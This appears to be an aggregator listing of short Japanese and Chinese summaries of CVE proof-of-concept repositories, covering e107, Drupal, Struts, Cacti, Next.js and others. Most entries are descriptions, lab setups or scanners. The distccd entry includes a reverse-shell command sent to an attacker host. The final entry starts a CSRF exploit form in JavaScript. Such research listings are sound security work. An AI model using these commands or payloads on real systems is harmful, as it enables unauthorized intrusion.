CVE-2025-61505

CVE-2025-61505 – e107 CMS 2.x における PHP オブジェクトインジェクション 報告日: 2025年9月18日 CVE 割り当て日: 2025年10月9日 公開日: 2026年2月2日 CVE ID: CVE-2025-61505 発見者: Anas Abderrahman Benbarek 概要 e107 CMS バージョン 2.3.3 のインストールスクリプト install.php において、PHP オブジェクトインジェクションの脆弱性 CWE-502: 信頼できないデータのデシリアライゼーション が発見されました。...

CVE-2026-57517

Control Web Panel ≤ 0.9.8.1224 — リモートコード実行に至るブラインドSQLインジェクション Port 2083 → userRes POST → INTO DUMPFILE → Port 2031 Webshell → cwpsvc 🔴 脆弱性の概要 CVE-2026-57517 は、Control Web Panel CWP バージョン ≤ 0.9.8.1224 における、認証前の重大なブラインドSQLインジェクションです。ユーザーパネルのエンドポイントにある userRes...

CVE-2020-15778

CVE-2020-15778 简介 本仓库复现了 CVE-2020-15778。 步骤 1. 构建 scp 服务器和客户端的 Docker 镜像 root@kitploit: cd client docker build -t client-cve . root@kitploit: cd server docker build -t server-cve . 2. 在容器中启动 scp 服务器。 root@kitploit: docker run -d -P --name scp-server server-cve 通过以下命令获取 scp 服务器的内部 IP 地址：...

CVE-2023-43177

CVE-2023-43177 CrushFTP = 10.5.1 リモートコード実行 このリポジトリは、研究の過程で開発された概念実証（PoC）のRCEエクスプロイトを保持しています。...

CVE-2020-8254

CVE-2020-8254: Pulse Secure VPN Windows Client における Zip Slip Pulse Secure Desktop Client 9.1R9 には、ユーザーが悪意のあるサーバーに接続するように仕向けられた場合にリモートコード実行（RCE）を引き起こす脆弱性が存在します。 ベンダーの開示情報: この脆弱性に関するベンダーの開示情報および修正はこちらで確認できます。 必要条件: この脆弱性の悪用には以下が必要です: ユーザーの操作（「Host...

CVE-2025-31324

PoC - CVE-2025-31324 [email protected] SAP NetWeaver Visual Composer の脆弱性 CVE-2025-31324 に対するテスト用エクスプロイトです。エンドポイント /developmentserver/metadatauploader を介して、認証なしでの任意のファイルアップロード を可能にします。 ⚠️ このコードは教育目的および許可されたテスト専用です。本番環境や許可なくシステムに対して使用しないでください。 説明 この脆弱性により、認証されていないリモートの攻撃者が SAP...

CVE-2018-7600

CVE-2018-7600 の POC Drupal RCE CVE-2018-7600 スクリプトに自分のアドレスを入れるのを忘れないでください！ 説明: Drupal 7.x および 8.x の複数のサブシステムにリモートコード実行の脆弱性が存在します。これにより、攻撃者は Drupal サイト上の複数の攻撃ベクトルを悪用できる可能性があり、サイトが完全に侵害される可能性があります。 解決策: Drupal 7 または 8 のコアの最新バージョンにアップグレードしてください。 7.x を使用している場合は、Drupal 7.58...

CVE-2018-15133-PoC

CVE-2018-15133-PoC このPythonスクリプトは、安全でないデシリアライゼーションを利用した脆弱なLaravelアプリケーション向けのリモートコード実行（RCE）エクスプロイトを実装しています。これはCVE-2018-15133の脆弱性に基づいています。...

distccd_rce_CVE-2004-2687

このスクリプトの目的は、Metasploitを使用せずに手動で行うことです。 使用方法: root@kitploit: nc -lvnp 4466 エクスプロイトの実行: root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

CVE-2025-55182-Scanner

CVE‑2025‑55182 – Next.js RSC デシリアライゼーション RCE スキャナ このツールは、対象が CVE‑2025‑55182 に対して脆弱かどうかをチェックします。これは、Next.js 内の RSC（React Server Components）モデルペイロードの安全でない処理によって引き起こされるリモートコード実行バグです。 この脆弱性は、プロトタイプ汚染 → デシリアライゼーションの悪用 → サーバーサイドJavaScript実行 の連鎖を利用します。 免責事項:...

React2Shell-CVE-2025-55182-An-lise-T-cnica

React2Shell CVE-2025-55182 📖 概述 本仓库记录了TryHackMe房间中关于CVE-2025-55182 安全概念的学习内容，这是一个影响以下组件的严重漏洞： React Server Components RSC Next.js 以及基于RSC的框架 软件包： react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack 该漏洞可实现： 通过单个精心构造的HTTP请求，无需认证即可远程执行代码。 本材料仅供教育和防御目的 ，不包含该平台的任何答案、标志或完整通关指南。 ...

CVE-2017-5638

CVE-2017-5638 Apache Struts 2 のバージョン 2.3.32 より前の 2.3.x、および 2.5.10.1 より前の 2.5.x には、Jakarta Multipart パーサーに欠陥があります。この欠陥により、ファイルをアップロードしようとした際に、例外の処理とエラーメッセージの生成が誤って行われます。その結果、攻撃者は Content-Type、Content-Disposition、Content-Length などの巧妙に細工された HTTP ヘッダーを悪用して、任意のコマンドをリモートで実行できます。 実行 python exploit.py -r...

cve-2018-11235-git-submodule-ce-and-docker-ngrok-configuration

CVE-2018-11235-Git-Submodule-CE + Docker Ngrok 構成 CVE-2018-11235-Git PoC と docker ngrok によるトンネリング Dockerfile をビルド root@kitploit: $ docker build -t cve-2018-11235 . ngrok 用のカスタムネットワークを作成 root@kitploit: $ docker network create myngroknet Git HTTP サーバーを起動 root@kitploit: $ docker run -d -p 8080:80...

CVE-2022-46169

以下は、整形された説明文書です： CVE‑2022‑46169 – 解説 & プロジェクト概要 Cacti 非認証リモートコード実行 このプロジェクトについて このプロジェクトは、CVE‑2022‑46169 をデモンストレーションするサイバーセキュリティ演習です。この脆弱性は、オープンソースのネットワーク監視プラットフォーム Cacti （バージョン ≤ 1.2.22）における深刻な脆弱性です。認証されていない攻撃者が、ログインなしでサーバー上で任意のOSコマンドを実行できるようにします。 このプロジェクトの目的は、脆弱性を理解し、管理されたラボ環境で再現し、その影響を実証することです...

Exploit-PoC-para-CVE-2024-30085

🚨 CVE-2024-30085 の Exploit PoC CVE-2024-30085 の権限昇格脆弱性に対する Proof of Concept エクスプロイトです。教育およびセキュリティ研究目的のみ。 ⚠️ 法的注意事項 教育専用 ✅ 許可されたセキュリティ調査 ✅ 管理された実験環境 ✅ サイバーセキュリティ教育 ❌ 無許可のシステム ❌ 悪意のある活動 💰 このプロジェクトを支援する ₿ ビットコインでの寄付歓迎！ root@kitploit: ┌─────────────────────────────────────┐ │ ₿ Dirección de Donación...

Fix-CVE-2023-36884

Fix-CVE-2023-36884.ps1 CVE-2023-36884 の脆弱性を緩和するための一時的な解決策。 この脆弱性は Windows オペレーティングシステムに影響を及ぼし、悪意のあるコードがリモートで実行される可能性があります。 CVE-2023-36884 » CVE-2023-36884 CVE-2023-36884 は、Windows システムでリモートでコードが実行される可能性がある重大なセキュリティ上の欠陥です。この問題を修正する Microsoft の更新プログラムはまだリリースされていません。ただし、Microsoft...

Nuclei-Template-CVE-2024-50379

Nuclei-Template-CVE-2024-50379 描述 此 Nuclei 模板检测易受 TOCTOU 竞态条件影响的 Apache Tomcat 服务器，该条件允许远程代码执行 RCE。 ⚠ 重要提示 ：此模板只能用于教育目的，并且仅在获得系统所有者的明确同意后，在受控环境中使用。 此外，该模板仍处于测试阶段，因此我尚未在所有易受攻击的 Apache 版本上进行 100% 的测试。 要求 已安装 Nuclei（支持 linux、mac、windows）。 对要进行测试的系统或网络拥有授权访问权限。 使用方法 修改模板： 打开模板文件，调整 upload.jsp...

CVE-2017-9841-EXPLOIT

CVE-2017-9841 - PHPUnit リモートコード実行RCE この脆弱性は、PHPUnit 4.8.28 より前のバージョンおよび 5.6.3 より前のすべての 5.x バージョンに影響します。これにより、攻撃者は PHPUnit が公開されているサーバー上で任意の PHP コードを実行できます。問題は、PHPUnit の Util/PHP ディレクトリにある eval-stdin.php ファイルに存在します。このファイルにアクセス可能な場合（通常は /vendor フォルダが公開されている場合）、攻撃者は ?php で始まる PHP コードを含む悪意のある HTTP PO...

CVE-2026-3844-Lab

CVE-2026-3844 — Breeze Cache 認証なし任意ファイルアップロードによるRCEラボ WordPressのBreeze CacheプラグインにおけるCVE-2026-3844の動作を再現・比較するためのローカル限定Dockerラボです。 このリポジトリは、Breeze Cache 2.4.4 の脆弱な動作を示し、Breeze Cache 2.4.5 のパッチ適用後の動作と比較します。ラボは2つの隔離されたWordPressサービス（脆弱なものとパッチ適用済みのもの）と、Dockerネットワーク内のローカルペイロードサーバーを使用します。 概念実証は意図的に最小限の害...

CVE-2025-12189

Bread & Butter: コンテンツゲート + リード獲得 + ファーストパーティデータ収集 + AIエージェントによる育成 CSRF Attack function exploit const form = document.createElement'form'; form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php'; form.method = 'POST'; form.enctype = 'multipart/form-data'; form.target = 'blank';...